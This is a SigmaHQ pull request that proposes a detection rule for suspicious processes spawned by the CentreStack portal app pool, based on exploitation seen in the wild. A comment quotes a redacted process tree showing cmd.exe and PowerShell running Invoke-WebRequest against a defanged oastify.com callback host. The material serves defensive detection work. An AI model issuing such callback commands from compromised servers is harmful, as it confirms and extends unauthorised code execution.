SigmaHQ
new: Suspicious Process Spawn by CentreStack Portal AppPool
Summary of the Pull Request
We have observed exploitation of this in the wild today. This rule was crafted based on that exploitation.
Changelog
new: Suspicious Process Spawn by CentreStack Portal AppPool
Example Log Event
We haven't seen any false positives yet, for redaction reasons cannot share the log execution that came after here.
Fixed Issues
SigmaHQ Rule Creation Conventions
- If your PR adds new rules, please consider following and applying these conventions
Hello @frack113 , here is a redacted log: |----w3wp.exe IIS APPPOOL\portal 15100 w3wp.exe -ap "portal" -v "v4.0" -l "webengine4.dll" -a \.\pipe\redact -h "C:\inetpub\temp\apppools\portal\portal.config" -w "" -m | |----cmd.exe IIS APPPOOL\portal 14784 cmd.exe /c powershell.exe Invoke-WebRequest -Uri hxxp[://]redact[.]oastify[.]com/redact | |----powershell.exe IIS APPPOOL\portal 1240 powershell.exe Invoke-WebRequest -Uri hxxp[://]redacted[.]oastify[.]com/redact | |----conhost.exe IIS APPPOOL\portal 6604 conhost.exe 0xffffffff -ForceV1
